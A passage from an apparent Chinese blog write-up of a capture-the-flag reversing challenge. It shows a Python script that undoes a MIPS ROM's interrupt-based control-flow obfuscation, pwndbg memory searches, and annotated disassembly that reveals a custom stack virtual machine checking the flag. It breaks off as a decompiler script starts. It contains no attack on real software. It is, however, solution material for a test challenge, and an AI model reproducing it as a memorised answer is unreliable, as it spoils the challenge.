<span class="number">0x36CDAB53</span>, <span class="number">0x72EEAB53</span>, <span class="number">0xC6CEAB53</span>, <span class="number">0x1EEEAB53</span>, <span class="number">0x8ECEAB53</span>, <span class="number">0x0AEEAB53</span>, <span class="number">0x82CEAB53</span>, <span class="number">0x36EEAB53</span>, <span class="number">0xAECEAB53</span>, <span class="number">0x22EEAB53</span>, <span class="number">0x5ACEAB53</span>, <span class="number">0xCEEFAB53</span>, <span class="number">0x4ECEAB53</span>, <span class="number">0xFAEFAB53</span>, <span class="number">0x7ECEAB53</span>, <span class="number">0xE6EFAB53</span>, <span class="number">0x66CEAB53</span>, <span class="number">0x92EFAB53</span>, <span class="number">0x06CEAB53</span>, <span class="number">0xBEEFAB53</span>, <span class="number">0xD6CFAB53</span>, <span class="number">0xAAEFAB53</span>, <span class="number">0xE2CFAB53</span>, <span class="number">0x56EFAB53</span>, <span class="number">0xA6CFAB53</span>, <span class="number">0x42EFAB53</span>, <span class="number">0x12CFAB53</span>, <span class="number">0x6EEFAB53</span>, <span class="number">0xCAD0AB53</span>, <span class="number">0x1AEFAB53</span>, <span class="number">0x46D0AB53</span>, <span class="number">0x06EFAB53</span>, <span class="number">0x06D0AB53</span>, <span class="number">0x32EFAB53</span>, <span class="number">0x26D0AB53</span>, <span class="number">0xDEF0AB53</span>, <span class="number">0xC6D1AB53</span>, <span class="number">0xCAF0AB53</span>, <span class="number">0xF2D1AB53</span>, <span class="number">0xF6F0AB53</span>, <span class="number">0x8ED1AB53</span>, <span class="number">0xE2F0AB53</span>, <span class="number">0xA6D1AB53</span>, <span class="number">0x8EF0AB53</span>, <span class="number">0x46D1AB53</span>, <span class="number">0xBAF0AB53</span>, <span class="number">0x62D1AB53</span>, <span class="number">0xA6F0AB53</span>, <span class="number">0x02D1AB53</span>, <span class="number">0x52F0AB53</span>, <span class="number">0xDAD2AB53</span>, <span class="number">0x7EF0AB53</span>, <span class="number">0xE6D2AB53</span>, <span class="number">0x6AF0AB53</span>, <span class="number">0x96D2AB53</span>, <span class="number">0x16F0AB53</span>, <span class="number">0xA6D2AB53</span>, <span class="number">0x02F0AB53</span>, <span class="number">0x6AD2AB53</span>, <span class="number">0x2EF0AB53</span>, <span class="number">0x02D2AB53</span>, <span class="number">0xDAF1AB53</span>, <span class="number">0xCED3AB53</span>, <span class="number">0xC6F1AB53</span>, <span class="number">0xFED3AB53</span>, <span class="number">0xF2F1AB53</span>, <span class="number">0x92D3AB53</span>, <span class="number">0x9EF1AB53</span>, <span class="number">0x5AD3AB53</span>, <span class="number">0x8AF1AB53</span>, <span class="number">0x1AD3AB53</span>, <span class="number">0xB6F1AB53</span>, <span class="number">0x0AD3AB53</span>, <span class="number">0xA2F1AB53</span>, <span class="number">0x36D3AB53</span>, <span class="number">0x4EF1AB53</span>, <span class="number">0xD2D4AB53</span>, <span class="number">0x7AF1AB53</span>, <span class="number">0xFED4AB53</span>, <span class="number">0x66F1AB53</span>, <span class="number">0x9AD4AB53</span>, <span class="number">0x12F1AB53</span>, <span class="number">0xAAD4AB53</span>, <span class="number">0x3EF1AB53</span>, <span class="number">0x7AD4AB53</span>, <span class="number">0x2AF1AB53</span>, <span class="number">0x6ED4AB53</span>, <span class="number">0xD6F2AB53</span>, <span class="number">0x16D4AB53</span>, <span class="number">0xC2F2AB53</span>, <span class="number">0x3AD4AB53</span>, <span class="number">0xEEF2AB53</span>, <span class="number">0xCAD5AB53</span>, <span class="number">0x9AF2AB53</span>, <span class="number">0xEAD5AB53</span>, <span class="number">0x86F2AB53</span>, <span class="number">0xA2D5AB53</span>, <span class="number">0xB2F2AB53</span>, <span class="number">0x42D5AB53</span>, <span class="number">0x5EF2AB53</span>, <span class="number">0x0ED5AB53</span>, <span class="number">0x4AF2AB53</span>, <span class="number">0x02D5AB53</span>, <span class="number">0x76F2AB53</span>, <span class="number">0x2AD5AB53</span>, <span class="number">0x62F2AB53</span>, <span class="number">0xC6D6AB53</span>, <span class="number">0x0EF2AB53</span>, <span class="number">0xBAD6AB53</span>, <span class="number">0x3AF2AB53</span>, <span class="number">0x5AD6AB53</span>, <span class="number">0x26F2AB53</span>, <span class="number">0x46D6AB53</span>, <span class="number">0xD2F3AB53</span>, <span class="number">0x72D6AB53</span>, <span class="number">0xFEF3AB53</span>, <span class="number">0x32D6AB53</span>, <span class="number">0xEAF3AB53</span>, <span class="number">0x22D6AB53</span>, <span class="number">0x96F3AB53</span>, <span class="number">0xCAD7AB53</span>, <span class="number">0x82F3AB53</span>, <span class="number">0xEAD7AB53</span>, <span class="number">0xAEF3AB53</span>, <span class="number">0x9AD7AB53</span>, <span class="number">0x5AF3AB53</span>, <span class="number">0x8AD7AB53</span>, <span class="number">0x46F3AB53</span>, <span class="number">0xB6D7AB53</span>, <span class="number">0x72F3AB53</span>, <span class="number">0xA2D7AB53</span>, <span class="number">0x1EF3AB53</span>, <span class="number">0x46D7AB53</span>, <span class="number">0x0AF3AB53</span>, <span class="number">0x6ED7AB53</span>, <span class="number">0x36F3AB53</span>, <span class="number">0x06D7AB53</span>, <span class="number">0x22F3AB53</span>, <span class="number">0x3AD7AB53</span>, <span class="number">0xCEF4AB53</span>, <span class="number">0xDED8AB53</span>, <span class="number">0xFAF4AB53</span>, <span class="number">0xCAD8AB53</span>, <span class="number">0xE6F4AB53</span>, <span class="number">0xEAD8AB53</span>, <span class="number">0x92F4AB53</span>, <span class="number">0x8AD8AB53</span>, <span class="number">0xBEF4AB53</span>, <span class="number">0xBED8AB53</span>, <span class="number">0xAAF4AB53</span>, <span class="number">0x5ED8AB53</span>, <span class="number">0x56F4AB53</span>, <span class="number">0x52D8AB53</span>, <span class="number">0x42F4AB53</span>, <span class="number">0x76D8AB53</span>, <span class="number">0x6EF4AB53</span>, <span class="number">0x1ED8AB53</span>, <span class="number">0x1AF4AB53</span>, <span class="number">0x0AD8AB53</span>, <span class="number">0x06F4AB53</span>, <span class="number">0x36D8AB53</span>, <span class="number">0x32F4AB53</span>, <span class="number">0xDAD9AB53</span>, <span class="number">0xDEF5AB53</span>, <span class="number">0xFED9AB53</span>, <span class="number">0xCAF5AB53</span>, <span class="number">0xE2D9AB53</span>, <span class="number">0xF6F5AB53</span>, <span class="number">0x96D9AB53</span>, <span class="number">0xE2F5AB53</span>, <span class="number">0x86D9AB53</span>, <span class="number">0x8EF5AB53</span>, <span class="number">0xB6D9AB53</span>, <span class="number">0xBAF5AB53</span>, <span class="number">0xA6D9AB53</span>, <span class="number">0xA6F5AB53</span>, <span class="number">0x4ED9AB53</span>, <span class="number">0x52F5AB53</span>, <span class="number">0x42D9AB53</span>, <span class="number">0x7EF5AB53</span>, <span class="number">0x6AD9AB53</span>, <span class="number">0x6AF5AB53</span>, <span class="number">0x02D9AB53</span>, <span class="number">0x16F5AB53</span>, <span class="number">0x32D9AB53</span>, <span class="number">0x02F5AB53</span>, <span class="number">0xD6DAAB53</span>, <span class="number">0x2EF5AB53</span>, <span class="number">0xCADAAB53</span>, <span class="number">0xDAF6AB53</span>, <span class="number">0xF2DAAB53</span>, <span class="number">0xC6F6AB53</span>, <span class="number">0x96DAAB53</span>, <span class="number">0xF2F6AB53</span>, <span class="number">0x8ADAAB53</span>, <span class="number">0x9EF6AB53</span>, <span class="number">0xB2DAAB53</span>, <span class="number">0x8AF6AB53</span>, <span class="number">0x56DAAB53</span>, <span class="number">0xB6F6AB53</span>, <span class="number">0x7EDAAB53</span>, <span class="number">0xA2F6AB53</span>, <span class="number">0x3EDAAB53</span>, <span class="number">0x4EF6AB53</span>, <span class="number">0x26DAAB53</span>, <span class="number">0x7AF6AB53</span>, <span class="number">0xCEDBAB53</span>, <span class="number">0x66F6AB53</span>, <span class="number">0xE2DBAB53</span>, <span class="number">0x12F6AB53</span>, <span class="number">0x8ADBAB53</span>, <span class="number">0x3EF6AB53</span>, <span class="number">0x46DBAB53</span>, <span class="number">0x2AF6AB53</span>, <span class="number">0x7ADBAB53</span>, <span class="number">0xD6F7AB53</span>, <span class="number">0x62DBAB53</span>, <span class="number">0xC2F7AB53</span>, <span class="number">0x16DBAB53</span>, <span class="number">0xEEF7AB53</span>, <span class="number">0x3EDBAB53</span>, <span class="number">0x9AF7AB53</span>, <span class="number">0x26DBAB53</span>, <span class="number">0x86F7AB53</span>, <span class="number">0xFEDCAB53</span>, <span class="number">0xB2F7AB53</span>, <span class="number">0xEEDCAB53</span>, <span class="number">0x5EF7AB53</span>, <span class="number">0x86DCAB53</span>, <span class="number">0x4AF7AB53</span>, <span class="number">0x46DCAB53</span>, <span class="number">0x76F7AB53</span>, <span class="number">0x66DCAB53</span>, <span class="number">0x62F7AB53</span>, <span class="number">0x26DCAB53</span>, <span class="number">0x0EF7AB53</span>, <span class="number">0xC2DDAB53</span>, <span class="number">0x3AF7AB53</span>, <span class="number">0xE2DDAB53</span>, <span class="number">0x26F7AB53</span>, <span class="number">0x82DDAB53</span>, <span class="number">0xD2F8AB53</span>, <span class="number">0xAEDDAB53</span>, <span class="number">0xFEF8AB53</span>, <span class="number">0x5EDDAB53</span>, <span class="number">0xEAF8AB53</span>, <span class="number">0x7EDDAB53</span>, <span class="number">0x96F8AB53</span>, <span class="number">0x12DDAB53</span>, <span class="number">0x82F8AB53</span>, <span class="number">0x06DDAB53</span>, <span class="number">0xAEF8AB53</span>, <span class="number">0xDADEAB53</span>, <span class="number">0x5AF8AB53</span>, <span class="number">0xC2DEAB53</span>, <span class="number">0x46F8AB53</span>, <span class="number">0xF6DEAB53</span>, <span class="number">0x72F8AB53</span>, <span class="number">0x8ADEAB53</span>, <span class="number">0x1EF8AB53</span>, <span class="number">0x42DEAB53</span>, <span class="number">0x0AF8AB53</span>, <span class="number">0x66DEAB53</span>, <span class="number">0x36F8AB53</span>, <span class="number">0x06DEAB53</span>, <span class="number">0x22F8AB53</span>, <span class="number">0xD2DFAB53</span>, <span class="number">0xCEF9AB53</span>, <span class="number">0xFEDFAB53</span>, <span class="number">0xFAF9AB53</span>, <span class="number">0x8EDFAB53</span>, <span class="number">0xE6F9AB53</span>, <span class="number">0xAADFAB53</span>, <span class="number">0x92F9AB53</span>, <span class="number">0x4ADFAB53</span>, <span class="number">0xBEF9AB53</span>, <span class="number">0x66DFAB53</span>, <span class="number">0xAAF9AB53</span>, <span class="number">0x3EDFAB53</span>, <span class="number">0x56F9AB53</span>, <span class="number">0xD6E0AB53</span>, <span class="number">0x42F9AB53</span>, <span class="number">0xC2E0AB53</span>, <span class="number">0x6EF9AB53</span>, <span class="number">0x9EE0AB53</span>, <span class="number">0x1AF9AB53</span>, <span class="number">0xA6E0AB53</span>, <span class="number">0x06F9AB53</span>, <span class="number">0x62E0AB53</span>, <span class="number">0x32F9AB53</span>, <span class="number">0x06E0AB53</span>, <span class="number">0xDEFAAB53</span>, <span class="number">0xD6E1AB53</span>, <span class="number">0xCAFAAB53</span>, <span class="number">0x9AE1AB53</span>, <span class="number">0xF6FAAB53</span>, <span class="number">0xBEE1AB53</span>, <span class="number">0xE2FAAB53</span>, <span class="number">0x4AE1AB53</span>, <span class="number">0x8EFAAB53</span>, <span class="number">0x6EE1AB53</span>, <span class="number">0xBAFAAB53</span>, <span class="number">0x0AE1AB53</span>, <span class="number">0xA6FAAB53</span>, <span class="number">0xCAE2AB53</span>, <span class="number">0x52FAAB53</span>, <span class="number">0xF6E2AB53</span>, <span class="number">0x7EFAAB53</span>, <span class="number">0xE6E2AB53</span>, <span class="number">0x6AFAAB53</span>, <span class="number">0x96E2AB53</span>, <span class="number">0x16FAAB53</span>, <span class="number">0x86E2AB53</span>, <span class="number">0x02FAAB53</span>, <span class="number">0x56E2AB53</span>, <span class="number">0x2EFAAB53</span>, <span class="number">0x62E2AB53</span>, <span class="number">0xDAFBAB53</span>, <span class="number">0x3EE2AB53</span>, <span class="number">0xC6FBAB53</span>, <span class="number">0xEAE3AB53</span>, <span class="number">0xF2FBAB53</span>, <span class="number">0x8AE3AB53</span>, <span class="number">0x9EFBAB53</span>, <span class="number">0xA2E3AB53</span>, <span class="number">0x8AFBAB53</span>, <span class="number">0x52E3AB53</span>, <span class="number">0xB6FBAB53</span>, <span class="number">0x7EE3AB53</span>, <span class="number">0xA2FBAB53</span>, <span class="number">0x6AE3AB53</span>, <span class="number">0x4EFBAB53</span>, <span class="number">0x06E3AB53</span>, <span class="number">0x7AFBAB53</span>, <span class="number">0x32E3AB53</span>, <span class="number">0x66FBAB53</span>, <span class="number">0xDEE4AB53</span>, <span class="number">0x12FBAB53</span>, <span class="number">0xFAE4AB53</span>, <span class="number">0x3EFBAB53</span>, <span class="number">0xE6E4AB53</span>, <span class="number">0x2AFBAB53</span>, <span class="number">0x92E4AB53</span>, <span class="number">0xD6FCAB53</span>, <span class="number">0xAEE4AB53</span>, <span class="number">0xC2FCAB53</span>, <span class="number">0x5EE4AB53</span>, <span class="number">0xEEFCAB53</span>, <span class="number">0x42E4AB53</span>, <span class="number">0x9AFCAB53</span>, <span class="number">0x12E4AB53</span>, <span class="number">0x86FCAB53</span>, <span class="number">0x02E4AB53</span>, <span class="number">0xB2FCAB53</span>, <span class="number">0xDEE5AB53</span>, <span class="number">0x5EFCAB53</span>, <span class="number">0xEAE5AB53</span>, <span class="number">0x4AFCAB53</span>, <span class="number">0x9EE5AB53</span>, <span class="number">0x76FCAB53</span>, <span class="number">0xAAE5AB53</span>, <span class="number">0x62FCAB53</span>, <span class="number">0x5EE5AB53</span>, <span class="number">0x0EFCAB53</span>, <span class="number">0x4EE5AB53</span>, <span class="number">0x3AFCAB53</span>, <span class="number">0x3EE5AB53</span>, <span class="number">0x26FCAB53</span>, <span class="number">0xDEE6AB53</span>, <span class="number">0xD2FDAB53</span>, <span class="number">0x00000000</span>, <span class="number">0x00000000</span>, <span class="number">0x2B8A463B</span>, <span class="number">0x009F369D</span>]</span><br><span class="line">orig_list = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> xored_list:</span><br><span class="line">    orig_list.append(swap32(i))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">norm</span>(<span class="params">epc, addr</span>):</span><br><span class="line">    <span class="keyword">if</span> epc == addr:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">elif</span> epc &lt; addr:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">base = <span class="number">0x80028000</span></span><br><span class="line">base2 = <span class="number">0xbfc20000</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">convert</span>(<span class="params">addr</span>):</span><br><span class="line">    first = addr2000[<span class="number">0</span>]</span><br><span class="line">    tmp1 = <span class="number">0</span></span><br><span class="line">    tmp2 = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> addr2000[<span class="number">1</span>] != first:</span><br><span class="line">        tt = addr2800[(first-base)//<span class="number">4</span>]</span><br><span class="line">        r = norm(addr, orig_list[(tt-base2)//<span class="number">4</span>])</span><br><span class="line">        <span class="keyword">if</span> r == <span class="number">1</span>:</span><br><span class="line">            first = addr2800[(first+<span class="number">0xC</span>-base)//<span class="number">4</span>]</span><br><span class="line">            <span class="keyword">if</span> first == addr2000[<span class="number">1</span>]:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">if</span> tmp1 !=<span class="number">0</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">elif</span> r==-<span class="number">1</span>:</span><br><span class="line">            first = addr2800[(first+<span class="number">8</span>-base)//<span class="number">4</span>]</span><br><span class="line">            <span class="keyword">if</span> first == addr2000[<span class="number">1</span>]:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">if</span> tmp1 !=<span class="number">0</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">elif</span> r==<span class="number">0</span>:</span><br><span class="line">            tmp1 = <span class="number">1</span></span><br><span class="line">            tmp2 = addr2800[(first - base)//<span class="number">4</span>]</span><br><span class="line">            <span class="keyword">if</span> first == addr2000[<span class="number">1</span>]:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">if</span> tmp1 !=<span class="number">0</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> tmp2</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_address</span>(<span class="params">inaddr</span>):</span><br><span class="line">    xored = inaddr ^ x</span><br><span class="line">    outaddr = xored</span><br><span class="line">    r1 = convert(xored)</span><br><span class="line">    <span class="keyword">if</span> r1 != <span class="number">0</span>:</span><br><span class="line">        outaddr = orig_list[(r1 + <span class="number">4</span> - base2)//<span class="number">4</span>]</span><br><span class="line">    <span class="keyword">return</span> outaddr ^ x</span><br><span class="line"></span><br><span class="line">mp = &#123;&#125;</span><br><span class="line">mpr = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x8000</span>):</span><br><span class="line">    addr = <span class="number">0x80000000</span> + i</span><br><span class="line">    outaddr = get_address(addr)</span><br><span class="line">    mp[addr] = outaddr</span><br><span class="line">    mpr[outaddr] = addr</span><br><span class="line">    <span class="comment">#print(f&quot;&#123;hex(addr)&#125; =&gt; &#123;hex(outaddr)&#125;&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(mp[<span class="number">0x80000D50</span>]))</span><br></pre></td></tr></table></figure><p>这里 <code>2800.dump</code> 就是内存中 0x80002800 开始长度为 0x1000的内存。</p><p>有了这个程序之后，我们就可以来还原程序中的控制流了，比如刚才<code>loc_80000D50</code> 处的死循环实际上经过一次中断后会到达<code>0x80002e34</code>的位置开始下一段逻辑。整个程序基本上都是这样由无数个小片段来构成的，稍微花点功夫就可以人工把原控制流拼接起来。</p><h2 id="定位验证逻辑">定位验证逻辑</h2><p>之后的难点是怎么定位输入验证逻辑。这里我的方法是首先在内存里搜索输入的字符串，比如<code>flagPPPPP</code>，可以搜索 <code>0x5050</code>(<code>PP</code>的ASCII)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; find/h 0x80000000, 0x80010000, 0x5050</span><br><span class="line">0x8000880a</span><br><span class="line">0x8000880b</span><br><span class="line">0x8000880c</span><br><span class="line">3 patterns found.</span><br></pre></td></tr></table></figure><p>实际上如果从 0x80008000 开始 dump 可以看到之前的输入，比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; hexdump 0x80008000 0x1000</span><br><span class="line">+0000 0x80008000  00 00 18 04  31 32 33 34  35 36 00 33  34 35 36 7d  │....│1234│56.3│456&#125;│</span><br><span class="line">+0010 0x80008010  0a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">+0020 0x80008020  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">...</span><br><span class="line">+0800 0x80008800  00 00 00 00  66 6c 61 67  50 7f 50 50  50 50 0a 00  │....│flag│P.PP│PP..│</span><br><span class="line">+0810 0x80008810  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>也就是说第一次输入是在 0x80008004，第二次是在0x80008804，然后以此类推。接下来重启程序，在输入 flag 之前在 0x80008004下一个读取断点，输入一个字符会立即触发，简单跟踪逻辑可以发现是遇到<code>\n</code> 的话就停止处理进入验证逻辑，接下来就是跟踪 flag如何被验证的了。</p><h2 id="flag-验证">flag 验证</h2><p>反复跟踪后可以发现在对我们的输入进行了一定预处理后，程序进入到了这样一段逻辑。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">ROM:8000081C ImportantStart:                          # CODE XREF: ROM:80002EE8↓p</span><br><span class="line">ROM:8000081C</span><br><span class="line">ROM:8000081C var_38          = -0x38</span><br><span class="line">ROM:8000081C var_8           = -8</span><br><span class="line">ROM:8000081C var_4           = -4</span><br><span class="line">ROM:8000081C</span><br><span class="line">ROM:8000081C                 addiu   $sp, -0x48</span><br><span class="line">ROM:80000820                 sw      $ra, 0x48+var_4($sp)</span><br><span class="line">ROM:80000824                 sw      $fp, 0x48+var_8($sp)</span><br><span class="line">ROM:80000828                 move    $fp, $sp</span><br><span class="line">ROM:8000082C                 sw      $zero, 0x48+var_38($fp)  # 0x800026ef</span><br><span class="line">ROM:80000830                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">ROM:80000834</span><br><span class="line">ROM:80000834 loc_80000834:                            # CODE XREF: ImportantStart:loc_80000834↓j</span><br><span class="line">ROM:80000834                 b       loc_80000834     # next: 0x80002ab0</span><br><span class="line"></span><br><span class="line">ROM:80002AB0                 b       loc_80000C9C</span><br><span class="line">ROM:80002AB4                 nop</span><br><span class="line"></span><br><span class="line">ROM:80000C9C loc_80000C9C:                            # CODE XREF: ROM:80002AB0↓j</span><br><span class="line">ROM:80000C9C                                          # ROM:80002B28↓j ...</span><br><span class="line">ROM:80000C9C                 lw      $v0, 0x10($fp)</span><br><span class="line">ROM:80000CA0                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">ROM:80000CA4</span><br><span class="line">ROM:80000CA4 loc_80000CA4:                            # CODE XREF: ROM:loc_80000CA4↓j</span><br><span class="line">ROM:80000CA4                 b       loc_80000CA4     # next: 0x80002df8</span><br><span class="line"></span><br><span class="line">ROM:80002DF8                 beqz    $v0, loc_8000083C</span><br><span class="line">ROM:80002DFC                 nop</span><br><span class="line">    ROM:8000083C loc_8000083C:                            # CODE XREF: ROM:80002DF8↓j</span><br><span class="line">    ROM:8000083C                 la      $v0, word_80003D24</span><br><span class="line">    ROM:80000844                 lw      $v0, 8($v0)      # flag code 0x80003d40</span><br><span class="line">    ROM:80000848                 lhu     $v0, 0($v0)</span><br><span class="line">    ROM:8000084C                 sh      $v0, 0x14($fp)</span><br><span class="line">    ROM:80000850                 la      $v0, word_80003D24</span><br><span class="line">    ROM:80000858                 lw      $v0, 8($v0)</span><br><span class="line">    ROM:8000085C                 addiu   $v1, $v0, 2</span><br><span class="line">    ROM:80000860                 la      $v0, word_80003D24</span><br><span class="line">    ROM:80000868                 sw      $v1, 8($v0)</span><br><span class="line">    ROM:8000086C                 lhu     $v0, 0x14($fp)</span><br><span class="line">    ROM:80000870                 sltiu   $v1, $v0, 0xE</span><br><span class="line">    ROM:80000874                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">    ROM:80000878</span><br><span class="line">    ROM:80000878 loc_80000878:                            # CODE XREF: ROM:loc_80000878↓j</span><br><span class="line">    ROM:80000878                 b       loc_80000878     # next: 0x80002ac4</span><br><span class="line"></span><br><span class="line">    ROM:80002AC4                 beqz    $v1, loc_80000C98</span><br><span class="line">    ROM:80002AC8                 nop</span><br><span class="line">    ROM:80002ACC                 b       loc_8000087C</span><br><span class="line">    ROM:80002AD0                 nop</span><br><span class="line">        ROM:8000087C loc_8000087C:                            # CODE XREF: ROM:80002ACC↓j</span><br><span class="line">        ROM:8000087C                 nop</span><br><span class="line">        ROM:80000880                 sll     $v1, $v0, 2      # v0 selection</span><br><span class="line">        ROM:80000884                 la      $v0, dword_80002690 </span><br><span class="line">        ROM:8000088C                 addu    $v0, $v1, $v0</span><br><span class="line">        ROM:80000890                 lw      $v0, 0($v0)</span><br><span class="line">        ROM:80000894                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">        ROM:80000898</span><br><span class="line">        ROM:80000898 loc_80000898:                            # CODE XREF: ROM:loc_80000898↓j</span><br><span class="line">        ROM:80000898                 b       loc_80000898     # next: 0x80002ad8</span><br><span class="line"></span><br><span class="line">        ROM:80002AD8                 jr      $v0</span><br><span class="line">        ROM:80002ADC                 nop</span><br><span class="line">ROM:80002E00                 b       goflagdivide</span><br><span class="line">ROM:80002E04                 nop</span><br><span class="line"></span><br><span class="line">ROM:80002690 dword_80002690: .word 0x800008A0, 0x800008EC, 0x80000938, 0x80000980, 0x800009CC</span><br><span class="line">ROM:80002690                                          # DATA XREF: ROM:80000884↑o</span><br><span class="line">ROM:80002690                 .word 0x80000A1C, 0x80000A70, 0x80000AFC, 0x80000B88, 0x80000BD0</span><br><span class="line">ROM:80002690                 .word 0x80000C20, 0x80000C48, 0x80000C6C, 0x80000C84</span><br></pre></td></tr></table></figure><p>这里最后的 <code>jr $v0</code> 实际上是从 0x80002690 的 14个子程序中选择了一个跳转，我卡了一段时间才反应过来是虚拟机，继续观察每个子程序的逻辑可以观察到这个虚拟机的信息：</p><ul><li>0x80003d38 是 PC 计数器，虚拟机代码区起点为 0x80003d40</li><li>栈区为 0x80018000-0x80020000，没有寄存器，0x80003d24存储验证结果，0x80003d3c 是用户输入（不包含<code>flag&#123;&#125;</code>）</li><li><code>0x80000710</code> 处的函数弹出栈顶的值。</li><li><code>0x80000794</code> 处的函数把值压入栈顶。</li></ul><p>简单的逆向后可以编写脚本生成虚拟机伪代码。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span 